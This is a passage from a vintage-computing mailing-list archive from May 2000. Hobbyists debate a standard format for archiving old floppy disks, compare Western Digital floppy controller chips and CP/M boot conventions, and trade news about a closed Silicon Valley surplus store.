2005 Subject: A moment of silence... In-Reply-To: Message-ID: <200005302205.PAA27670@civic.hal.com> Mike Ford wrote: > Terribly sad they are closing, but who is getting all their stuff? > > Last time I was in Halted, most of the prices seemed a bit silly, but I > agree the place had character. > Hi Halted is still here, it was Haltek that went under. Dwight From zmerch at 30below.com Tue May 30 17:11:04 2000 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:53:12 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002401bfca6f$3378d240$0400c0a8@EAHOME> References: Message-ID: <3.0.1.32.20000530181104.00ba7100@mail.30below.com> Rumor has it that Richard Erlacher may have mentioned these words: >Just as an aside, I recently encountered a datasheet for the WD 1773 FDC >(similar to 1770/72). Do you know of any systems in which it was used? Wasn't the 1773 a single-chip version of the 1793, or am I out in Left Field? The early Tandy controllers that required 12V were based on the 1793, and weren't the later 5Vonly ones based on the 1773? I can't remember the numbers anymore... have to go home and look! ;-) See ya, Roger "Merch" Merchberger -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From Hans.Franke at mch20.sbs.de Tue May 30 17:13:34 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:12 2005 Subject: DTD and examples for CCDD (6kB) In-Reply-To: References: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: <3934592E.31703.32D1683@localhost> ]> Example for a tape mounted on Drive D0 on Channel 1. Standard type 1 channel T9G (6250bpi) First Tape in Device VOL1TAPE001 BS2000 TSOS 4 UVL1PRIVATE LABEL HDR1FILE1 00010001000100000102000102 000000BS2000 HDR2U020480204841 00 HDR3TSOS COMPLETE.FILE.NAME.OF.FILE1 0 NO REAL DATA INSIDE THIS BLOCK EOF1FILE1 00010001000100000102000102 000001BS2000 EOF2U020480204841 00 EOF33TSOS COMPLETE.FILE.NAME.OF.FILE1 0 This is another CCDD File for a FD of XXXXX running under yyyy. Floppy disk for xxxxxx 000000000000000000000000100E 04110F030000FE000000000000000000 00000000000000000000000000000000 000000000000007A0000000000000000 23010000231001000000000000000000 00000000000000000000000000000000 00000000000000000000000000000000 00000000000000000000000000000000 000000000000000380010000 0000000000000000000000100F02C8C5 CCCCCFA0A0A0A0A0A0A0A0A0A0A0A0A0 A0A0A0A0A0A0A0A0A0A0A00001 -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From Hans.Franke at mch20.sbs.de Tue May 30 17:13:34 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: References: Message-ID: <3934592E.28745.32D1692@localhost> > 1. Host computer type (2 bytes allowing up to 65536 models to be > specified) > 2. Hard/soft sector flag > 3. Number of tracks > 4. Track format (host computer specific) > 5. Sector format (single-density, double-density, etc) > 5. Sector data format - this will specify what format the archived sector > is in (raw data? logical bytes?) > 6. Sectors per track > 7. Bytes per sector > 8. Bits per byte You like to have a standard for data description in relation to medias ? So, why going for a stone age aproach like fixed numbers and fields ? Why not a tagged format ? And if we talk about a tagged format, XML should be first choice. In fact, some time ago I did think about almost the same idea. I did develop a first draft of an XML based scheme to describe a mainframe storage situation, to run possible emulators from a complex but detailed defined storage setup. This format can be used also to describe data structured of simple micro computer media. At the moment the DTD is only defined for the data structures - I have not started to define meta informations vor formats and hardware (like your soft/hard sectored flag). I'll post the DTD and two sample configurations in a seperate mail. The first one to recognize the Disk Format described in the second example (And names the content) will get 'prefered helper' state during eVCF 2.0 :)) Or something similar... Basicly the structure is defined as: Channel/Device/Media/Head/Track/Block/Data Chanel/Device ma be omited. Instead of Data, Raw may be used to descrive a 'Physical' content (like Nibble data, as needed to store copy protected data). Raw may also exist not only on Block level, but also on Track, Head or Media Level. Data itself may be encoded in different ways, either Binary, or as 'Hex', or in classic (readable) loader formats, to allow easy transmission of these files across system boundries. Please see the DTD for details. Decoding a XML file is not not a big difference to a fixed format, but _way_ more flexible. Gruss H. P.S.: The DTD is named CCDD for ClassicComputerDeviceData -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From gaz_k at lineone.net Mon May 29 07:31:07 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:53:13 2005 Subject: Documenting how old computers were used References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <001601bfca89$787f4440$d360063e@gaz> Zane H. Healy > If anyone wants to know what I'm talking about research the 'Click of Death'. Anyone read the latest on the click of death? After a year (or two) of admitting there is a fault, Iomega telephone support are blaming the problem on non-standard hardware (anything that is not WinDOS or Mac). It is this type of ignorance that really irritates me... BTW, the link is on ANN, http:///www.ann.lu. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From steverob at hotoffice.com Tue May 30 17:57:03 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:53:13 2005 Subject: Unusual weekend find Message-ID: <2921A6D846E9D31182490050040DC0D6682E85@hoexc101.hotoffice.com> > Nice find! Wow, that weighs more than my Dynabyte 5100 system! > Are those 8" hard drives? Naw... They are smaller that that. I guess they are 5"? > > Could that be renamed MP/M or a variant of MP/M? > The DOCs are far from complete but, it looks almost like a "shell" of some sort for CPM. The syntax for the very limited set of commands is similar to CP/M although not quite the same. Most of the commands seem to be associated with file & data security and device allocation. I'm got some MP/M docs here (promised to Joe Rigdon next time I see him) so I can compare the syntax of the two OSs... Although, I suspect that "MLX" is just a security and multitasking layer for CPM? I tried to load CPM using a variety of other BOOT images but, so far no luck. I'll have to drag out some more disks and see any of them will work. Before I got it, the owner had told me that it was running PC-MOS and I posted an inquiry about that OS to the group. Either he was mistaken about the OS or the system can run that OS as well. When the OS loads, it indicates "SYSTEM RESIDENT", then "BASIC RESIDENT", then the password prompt. I have tried to stop the boot process by pressing ^C, ESC, and every other trick that I know. But, so far no luck. When the process is interrupted, the system just halts... Dang it! > What's needed is a good, inexpensive, portable "clean room box." A > while back, I saw one of these somewhere, but it wasn't something > marketed to hobbyists and I doubt that it was inexpensive. I could tell the platters weren't spinning so, figured I really didn't have anything to loose. In a situation like this, I think the greatest risk is when the heads are "ripped" away from the surface rather than contamination. It took a considerable tug to get the thing loosened up again and I'm kinda supprised a chunk of the surface didn't come off. Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/b0a80f50/attachment-0001.html From mikeford at socal.rr.com Tue May 30 18:16:09 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:13 2005 Subject: A moment of silence... In-Reply-To: <200005302205.PAA27670@civic.hal.com> References: Message-ID: >Mike Ford wrote: >> Terribly sad they are closing, but who is getting all their stuff? >> >> Last time I was in Halted, most of the prices seemed a bit silly, but I >> agree the place had character. >> > >Hi > Halted is still here, it was Haltek that went under. >Dwight Is HSC the place across the street from WSW and Fry's? Where was Haltek? From allisonp at world.std.com Tue May 30 16:54:59 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006201bfca86$19013080$7964c0d0@ajp166> >On Tue, 30 May 2000, Richard Erlacher wrote: > >> I never understood why the double density CP/M diskettes were not bootable, >> and why "distribution-standard" diskettes had to be bootable. These are two >> different features, and what's important about the "standard" is not that >> it's bootable but that it's defined so as to be universally readable. That was bogus. The list of system that booted off DD tracks both 8"and 5.25" runs long. The standard for CP/M was 8" SSSD FYI. Also AMPROLB, VT180, DECMATEII/III with CP/M APU, NS* DD/QD systems, SB180, Visual1050, Later Kaypros to name a few with 5.25 DD or QD systems. >> The thing that made 5-1/4" "standard" diskettes unachievable back in the >> CP/M days was that people couldn't let go of the notion that every diskette >> had to be bootable. Frankly, I got fine mileage out of diskettes which >> couldn't be booted, yet I never had a problem booting up. This is bogus as CP/M inferred no difference between bootable system disks and non bootble data disks as the format was the same (they could also be different if desired). Bootable media was only important to single disk systems Even then there were utilities to sidestep this. Lastly for the CP/M case there was no specific requirement to boot from disk at all and the EPSON PX-8 was a commercial example of that. Allison From allisonp at world.std.com Tue May 30 17:07:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006401bfca86$1b08c050$7964c0d0@ajp166> >I always figured the reason for the restriction was dumb boot PROMs, which >only know how to do programmed I/O to the FDC, and 8" DD comes in too fast >for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on >a particular system is smart enough to set up DMA, no need to require SD. it's an artifact of how people though the DDmedia was speced by IBM and a lack of knowledge of CP/M boot as everyone just followed the book blindly. Not all required {or even had it!} DMA to do DD, CCS didn't. I'd add that DMA was mostly uncommon save for the more refined or robust systems. Allison From allisonp at world.std.com Tue May 30 16:57:41 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006301bfca86$1a345950$7964c0d0@ajp166> >> Just as an aside, I recently encountered a datasheet for the WD 1773 FDC >> (similar to 1770/72). Do you know of any systems in which it was used? No, they are not the same. the latter will do DD and the 1773 was single density. The 1773 was used on TRS80, Icom, and other early systems that were softsector. Allison From allisonp at world.std.com Tue May 30 17:19:10 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006501bfca86$1c38dbe0$7964c0d0@ajp166> >>Just as an aside, I recently encountered a datasheet for the WD 1773 FDC >>(similar to 1770/72). Do you know of any systems in which it was used? the 1770/1772 was the 1793+8229+glue on one chip. >Wasn't the 1773 a single-chip version of the 1793, or am I out in Left The 1773 was the earlier single density controller. The 1793 was the later DD and SD controller in nearly the same pinout and basic IO. >Field? The early Tandy controllers that required 12V were based on the >1793, and weren't the later 5Vonly ones based on the 1773? No. The tandy used the 1773 and was wired to provice the -5V and +12V as needed but there were parts that didn't use the -5V (SMC 1773). The 1793 wanted +12 and +5 though there were 5volty only versions later on. Allison From ard at p850ug1.demon.co.uk Tue May 30 17:52:23 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Sellam Ismail" at May 30, 0 01:56:09 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 7639 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/78f6115a/attachment-0001.ksh From allisonp at world.std.com Tue May 30 17:24:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard Message-ID: <006601bfca86$1cfaf360$7964c0d0@ajp166> >> The way you separate the operating system from the executables is by never, >> Never, NEVER, mixing them on the same medium, particularly if it's intended >> for dissemination. If the platforms are disparate, you certainly don't need > >Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all >the various computer manufacturers to never, NEVER mix their OS with the >rest of the program space on the disk. Fortunately, we are not trying to >revise the reality of our world, but are merely trying to deal with what >it has become, which is a much simpler procedure. Done! the OS was never mixed with data on CPM disks until CPM3 and CPM86. the system booted off OS specific tracks and DATA was never stored there and SYSTEM was never stored on DATA tracks. This applies to CP/M {1.3, 1.4, 2.0, 2.2} explicitly and many others as well. It makes little difference though. as then only reason is to make the boot easier as the booter then doesn't have to know the file system to read and launch the system which for cpm wasn't defined until boot completed (as the system tables were part of the boot image). Allison From ard at p850ug1.demon.co.uk Tue May 30 18:06:14 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Mike Ford" at May 30, 0 02:55:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 509 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/50653dee/attachment-0001.ksh From ard at p850ug1.demon.co.uk Tue May 30 18:10:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <3.0.1.32.20000530181104.00ba7100@mail.30below.com> from "Roger Merchberger" at May 30, 0 06:11:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1118 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/987b2cb9/attachment-0001.ksh From richard at idcomm.com Tue May 30 18:19:45 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> You don't get it, do you? I'm saying it's probably a bad idea to use floppy media. This is because it's mechanical, (2) because it's organic, and (3) because it is soon to become obsolete. Aside from problems of data format incompatibility, you have to deal with the mechanism to be able to read/write the archive's constituent elements. If an element of any medium has more than one file on it, not necessarily a bad thing though I'd say it's risky and inconvenient, that file can identify itself at its beginning and end, Begin , End . That way it doesn't matter over time what the medium is, at least insofar as your file format is concerned. The choice of medium is important, since floppies, however handy, are not going to be around forever. CD's are probably too small for some things, but maybe they're a better format. They're organic, too, however, so they'll be unduly sensitive to heat, not to mention chemicals, etc. Floppies are much less stabile over varying environmental conditions. OTP EPROMS are pretty stabile, however, and they're VERY small. If you're serious about creating an archive. It needs to be permanent, so it's essentially requisite that the media be write-once. I'd say you're better off with an OTP EPROM. Hardware to create them is dirt-simple to create, eraseable/rewritable equivalents are readily available, and even if the OTP's (very inexpensive, by the way) become scarce, there will still be rewritables available which can be write protected by removing the VPP or program pin. Use those and you'll have a real archive. What's more, there are no mechanical components, nothing to rust, become misaligned, or wear out. If you build your own archival system you have the option of choosing a different medium. That's what I'm recommending. I say that the following points are under consideration: > 1. Host computer type (2 bytes allowing up to 65536 models to be specified) > 1a. Host computer format, to allow for machines that support several native formats (e.g. PERQ POS floppy/PERQ PNX floppy/PERQ interchange floppy) > 2. Track format (host computer specific) I assume things like the interleave order go in here. > 3. Sector format (single-density, double-density, etc) > 4. Sector data format - this will specify what format the archived sector is in (raw data? logical bytes?) > 5. Bytes per sector > 6. Bits per byte None of these need be an issue if you use another medium, e.g. OTP EPROM. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 2:20 PM Subject: Re: Defining Disk Image Dump Standard > > Ok, since certain individual(s) don't seem to understand what this project > is about, what we are discussing here is DEFINING A STANDARD FILE FORMAT > FOR ARCHIVING FLOPPY DISKETTES FROM DIFFERENT COMPUTING PLATFORMS. > > It is, amazingly, the very same project that was proposed when this > discussion first began. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 18:25:07 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: A moment of silence... References: <200005302205.PAA27670@civic.hal.com> Message-ID: <006501bfca8e$4de9d4c0$0400c0a8@EAHOME> Back in the '80's, Haltek was more of an engineering house, while Halted, with whom they shared a phone number or warehouse address or some such, was the surplus outlet. That's the sense I got from them when I inquired about some surplus voice synthesis hardware I bought there. It's possible things changed way back when, but that's the sense I got (1) from them (Halted) and (2) from the combination of documents I got from them after buying the things I bought. (ca. 1984). Dick ----- Original Message ----- From: Dwight Elvey To: Sent: Tuesday, May 30, 2000 4:05 PM Subject: Re: A moment of silence... > Mike Ford wrote: > > Terribly sad they are closing, but who is getting all their stuff? > > > > Last time I was in Halted, most of the prices seemed a bit silly, but I > > agree the place had character. > > > > Hi > Halted is still here, it was Haltek that went under. > Dwight > From richard at idcomm.com Tue May 30 18:27:50 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <3.0.1.32.20000530181104.00ba7100@mail.30below.com> Message-ID: <006b01bfca8e$b09e62c0$0400c0a8@EAHOME> The 1770/72/73 were 28-pin parts with output buffers suitable for driving a cable and with internal data/clock separator, and a few other features, but still code-compatible (sort-of) with the 179x series. The 177x series of which I write were for 5-1/4" diskettes only. The 1773 has slightly different pins, two of them, than the other two members of its family. Dick ----- Original Message ----- From: Roger Merchberger To: Sent: Tuesday, May 30, 2000 4:11 PM Subject: Re: Defining Disk Image Dump Standard > Rumor has it that Richard Erlacher may have mentioned these words: > > >Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > >(similar to 1770/72). Do you know of any systems in which it was used? > > Wasn't the 1773 a single-chip version of the 1793, or am I out in Left > Field? The early Tandy controllers that required 12V were based on the > 1793, and weren't the later 5Vonly ones based on the 1773? > > I can't remember the numbers anymore... have to go home and look! ;-) > > See ya, > Roger "Merch" Merchberger > -- > Roger "Merch" Merchberger --- sysadmin, Iceberg Computers > Recycling is good, right??? Ok, so I'll recycle an old .sig. > > If at first you don't succeed, nuclear warhead > disarmament should *not* be your first career choice. > From allisonp at world.std.com Tue May 30 17:37:34 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:13 2005 Subject: Unusual weekend find Message-ID: <008001bfca88$77e0afc0$7964c0d0@ajp166> First off, use plain text not RTF or other indigestable formats for messages. > Could that be renamed MP/M or a variant of MP/M? > Could be or Turbodos. OSs... Although, I suspect that "MLX" is just a security and multitasking layer for CPM? Only if it were vanilla CPM as MPM was already multitasking. I tried to load CPM using a variety of other BOOT images but, so far no luck. I'll have to drag out some more disks and see any of them will work. Unlike PCs CPM system had no common bios (commonly none in rom!) so a booter from a like machine might boot and run but not work as the IO could be at different addresses or even use different serial devices {8250, 8251 and Z80 SIO were not similar). Allison From ss at allegro.com Tue May 30 18:36:05 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:53:13 2005 Subject: free: misc cards for HP 9000 / HP 3000 & other In-Reply-To: <3933A0BF.22269.1EA91F6B@localhost> Message-ID: <3933EDF5.30168.1FD6C4D8@localhost> Hi, The HP 3000/37 boards are now claimed. The rest is still available. > I have the following cards and MUX panels available for free > (for non-ebay use, and you pay shipping): > > HP 3000/9x5 / HP 9000/8x5 boards: > > 6 port MUX & cable: board 27140-81001?, cable 28659-63002 > > (I have two of the above boards/cables) > > (note: they might possibly work in a 9x7 / 8x7) > > MUX Panels: > > 40290-60003: RS 232C Panel 25 Pin (8-port) > > 40299-60002: RS 232C Full Modem (8-port) > > Note: neither of the above panels work with either of the > above boards/cables. (I.e., the cable/plug aren't even the > same size.) Nor do I have cables for these panels. > > HP 30000/37 ("Mighty Mouse") boards: > > 3000/37 MUX (no cable or panel) > > 3000/37 1/2 MB memory > > Misc: > > SDI PCA DTC Card: 02345-60021 > > (No, I don't know what it is, either!) > > AFAIK, all cards were in working order when pulled from > equipment. > > They're at our office in Cupertino, CA. > > Those that aren't spoken for will probably be offered on eBay > in a week or so, but I wanted ClassicCmp readers to get first chance. > > thanks, > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From richard at idcomm.com Tue May 30 18:40:57 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <006301bfca86$1a345950$7964c0d0@ajp166> Message-ID: <007701bfca90$836e2b80$0400c0a8@EAHOME> My data sheet makes it clear that the device uses both FM and MFM, but only supports up to 250Kbps rates. it says, "With the exception of the Enable Precomp/Ready line, the WD1773 is identical to the WD1770 Controller." It also says "Single (FM) and Double (MFM) density." The fact that Western left off the MO (motor-on) pin in favor of that enable Precomp/ready seems to suggest that the device just might be capable of handling 8" drives. I wonder if it can handle the clocks appropriately. I've never seen one of these puppies. It would be interesting to know how one is expected to use the precomp enable (/TG43 on a 179x) for anything useful if the data is internally generated. That may explain why I've never seen one. The offer a READY input on that same pin, for use on step and read operations. I don't know how one is supposed to steer those two signals since the associated signals are internally used from the same pin. It's a good thing that sheet says "PRELIMINARY" at the top. I've checked to make certain I haven't got a sample or two stashed away somewhere. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 3:57 PM Subject: Re: Defining Disk Image Dump Standard > >> Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > >> (similar to 1770/72). Do you know of any systems in which it was used? > > > No, they are not the same. the latter will do DD and the 1773 was single > density. > The 1773 was used on TRS80, Icom, and other early systems that were > softsector. > > Allison > > From ard at p850ug1.demon.co.uk Tue May 30 18:42:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <006301bfca86$1a345950$7964c0d0@ajp166> from "allisonp" at May 30, 0 05:57:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 695 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/de3aeaec/attachment-0001.ksh From elvey at hal.com Tue May 30 18:48:22 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: <200005302348.QAA28909@civic.hal.com> Hi It was not specifically mentioned but I also think we should archive a method to boot strap the machine from ground zero, were this can be done with things like front panels or ROM monitors. I realize that this may not always be provided by the original manufacture but I am currently in the process of doing just that to the second machine. This may even need the inclussion of special hardware or blowing of custom ROM's but it is also needed. As was stated by others, the media for archiving needs to be in a currently common format that is supported by todays machines. It has also been generally recognized that it should be occasionally brought up to date by moving to newer media. It is my opinion that this should be done on an overlapping basis, such as today, we might use both floppies and CD ROM's. Multiple copies stored in multiple locations is also needed as well as some form of scheduled refreshing, with overlapping copies on the same media. I don't think that we should even try to save data in the original format as long as there is a method such as I mentions above to restore data to the original media. Saving the data in DOS files is a proper method and meets the needs of archiving. One also has to consider that some software is composed of a number of elements. As was mentioned, even in CPM, part of the OS might be in a file. This means that the method of saving must include the ability to link a number of pieces that were not necessarily tied together as a single data stream. Another thing that wasn't talked about was CRC's. Even though most media has built in CRC's, there is no way to detect a failure in the communications between the new and old media. I suggest that this be at least a two level CRC. The first level would be on small blocks of data that the CRC could do error correction on with a reasonable burst size compared to the block size. The next level would have a larger CRC with a burst correction size that would be greater than two times the lower levels CRC. This last level of CRC would have several copies of the CRC value scattered through the data stream. As an example, CRC-32 can fix a burst of 12 bad bits. I would limit the block size for this CRC to about 512 bytes. A larger CRC would be needed for the top level CRC. I also doubt, that most people realize that there are other types of data encoding than MFM and FM. Intels M2FM comes to mind, as well as the Apple format. It was stated that people felt that it would not be practical to make a piece of hardware that could read any arbitrary format. I contend that as long as that format could have been read or written through that drive that a simple DSP chip could be used to make a universal controller chip. Vary little hardware, other than a simple development board, would be needed. I find it hard to believe that one couldn't cover 99% of what is out there. At least, as long as we where talking about floppies or some of the raw media hard drives. To show the variety of things, the machine I'm working on has two sectors per track of 20480 bits. This is on 32 hard sectored media. It is regular FM, though. Just my thoughts Dwight From foo at siconic.com Tue May 30 17:51:09 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <006601bfca86$1cfaf360$7964c0d0@ajp166> Message-ID: On Tue, 30 May 2000, allisonp wrote: > Done! the OS was never mixed with data on CPM disks until CPM3 and > CPM86. > > the system booted off OS specific tracks and DATA was never stored there > and SYSTEM was never stored on DATA tracks. This applies to CP/M > {1.3, 1.4, 2.0, 2.2} explicitly and many others as well. Yes, same with the Apple ][ pretty much, although you could free up some sectors on track 2 for data use if desired on some versions of DOS. Anyway, I don't know what the issue is about. The fact is we aren't archiving specific sections of the diskette but rather the entire diskette as a whole. Richard, as usual, invented a complexity in order to have something to argue around. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From oliv555 at arrl.net Tue May 30 18:54:04 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:53:13 2005 Subject: A moment of silence... References: Message-ID: <3934549C.57BD47E@arrl.net> Haltek was on Linda Vista right around the corner from the Mexican restaurant. Question. Did their Test Equipment store, right next door, also close? They used to put on a great parking lot sale every summer. One time they got hold of about a dozen Collins 51S1's. Got there just in time to see the last 2 get scooped up right before my eyes. Went for about $175 apiece as I recall........ aaargh.. Nick Mike Ford wrote: > > Is HSC the place across the street from WSW and Fry's? > > Where was Haltek? From richard at idcomm.com Tue May 30 18:54:49 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <006201bfca86$19013080$7964c0d0@ajp166> Message-ID: <007d01bfca92$71a5f200$0400c0a8@EAHOME> What I meant by that, Allison, was that I failed to understand why they (the makers of controllers capable of handling both single and double density diskettes of both sizes) weren't ALL bootable from any of those formats right out of the box, since they could have been. Have a look below, plz. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 3:54 PM Subject: Re: Defining Disk Image Dump Standard > > >On Tue, 30 May 2000, Richard Erlacher wrote: > > > >> I never understood why the double density CP/M diskettes were not > bootable, > >> and why "distribution-standard" diskettes had to be bootable. These are > two > >> different features, and what's important about the "standard" is not that > >> it's bootable but that it's defined so as to be universally readable. > > > That was bogus. The list of system that booted off DD tracks both 8"and > 5.25" > runs long. > > The standard for CP/M was 8" SSSD FYI. > > Also AMPROLB, VT180, DECMATEII/III with CP/M APU, > NS* DD/QD systems, SB180, Visual1050, Later Kaypros to > name a few with 5.25 DD or QD systems. > It's news to me that any of these handle 8" media. > > >> The thing that made 5-1/4" "standard" diskettes unachievable back in the > >> CP/M days was that people couldn't let go of the notion that every > diskette > >> had to be bootable. Frankly, I got fine mileage out of diskettes which > >> couldn't be booted, yet I never had a problem booting up. > > > This is bogus as CP/M inferred no difference between bootable system > disks and non bootble data disks as the format was the same (they could > also be different if desired). Bootable media was only important to single > disk systems Even then there were utilities to sidestep this. Lastly for > the > CP/M case there was no specific requirement to boot from disk at all and > the EPSON PX-8 was a commercial example of that. > > Allison > The STANDARD does not apply to non-standard systems. By definition, systems equipped with or capable of only 5-1/4" drives as shipped were NON-standard. The OS didn't care, but the distribution standard was an important consideration, since, until the software houses started shipping diskettes for TRS 80's and Kaypro's, the disk size/format was quite a consideration. Eventually, the Kaypro became a de-facto standard in the 5-1/4" world, to wit, the "phantom" drive on the AMPRO LB, in its very first incarnation, which is the only one of which I have examples, already accomodated KAYPRO format as their default "phantom" format. Radio Shack was, of course, stuck with FM until their second generation. From rich at alcor.concordia.ca Tue May 30 18:57:34 2000 From: rich at alcor.concordia.ca (Rich Lafferty) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME>; from richard@idcomm.com on Tue, May 30, 2000 at 05:19:45PM -0600 References: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> Message-ID: <20000530195734.B21255@alcor.concordia.ca> On Tue, May 30, 2000 at 05:19:45PM -0600, Richard Erlacher (richard@idcomm.com) wrote: > You don't get it, do you? > > I'm saying it's probably a bad idea to use floppy media. This is because > it's mechanical, (2) because it's organic, and (3) because it is soon to > become obsolete. Aside from problems of data format incompatibility, you > have to deal with the mechanism to be able to read/write the archive's > constituent elements. [snip] > If you're serious about creating an archive. It needs to be permanent, so > it's essentially requisite that the media be write-once. I haven't been following this thread, but I happened to notice this post. I happened to be speaking to the chief archivist here at the University today about electronic archiving, and the one thing that came across in the conversation is that the bottom line regarding digital archives is that archiving has become a continuous process. >From her perspective, it was simply that one could no longer store away paper and expect it to last hundreds of years; relevant to this discussion is that the new approach to archiving revolves around not only choosing media that will both last and not-be-obsolete for N years, but also arranging the process such that in N minus epsilon years, the media choice is re-evaluated and the archives rewritten in the new media, and repeat. Permanent digital archives, in other words, are the holy grail of the archivist's realm. :-) Of course, IANAArchivist. -Rich -- ------------------------------ Rich Lafferty --------------------------- Sysadmin/Programmer, Instructional and Information Technology Services Concordia University, Montreal, QC (514) 848-7625 ------------------------- rich@alcor.concordia.ca ---------------------- From ard at p850ug1.demon.co.uk Tue May 30 18:52:50 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 05:19:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2471 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/47d4aa8c/attachment-0001.ksh From richard at idcomm.com Tue May 30 18:57:50 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:13 2005 Subject: Defining Disk Image Dump Standard References: <006501bfca86$1c38dbe0$7964c0d0@ajp166> Message-ID: <008301bfca92$dd854d40$0400c0a8@EAHOME> The 'Shack model 1's had a 1771 and the model 3's had a 1793. These were nearly pin-compatible, both on a 40-pin footprint and required buffering to drive the cable. The 1770,1772, and 1773 are 28-pin parts that can drive the cable directly. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 4:19 PM Subject: Re: Defining Disk Image Dump Standard > >>Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > >>(similar to 1770/72). Do you know of any systems in which it was used? > > > the 1770/1772 was the 1793+8229+glue on one chip. > > >Wasn't the 1773 a single-chip version of the 1793, or am I out in Left > > > The 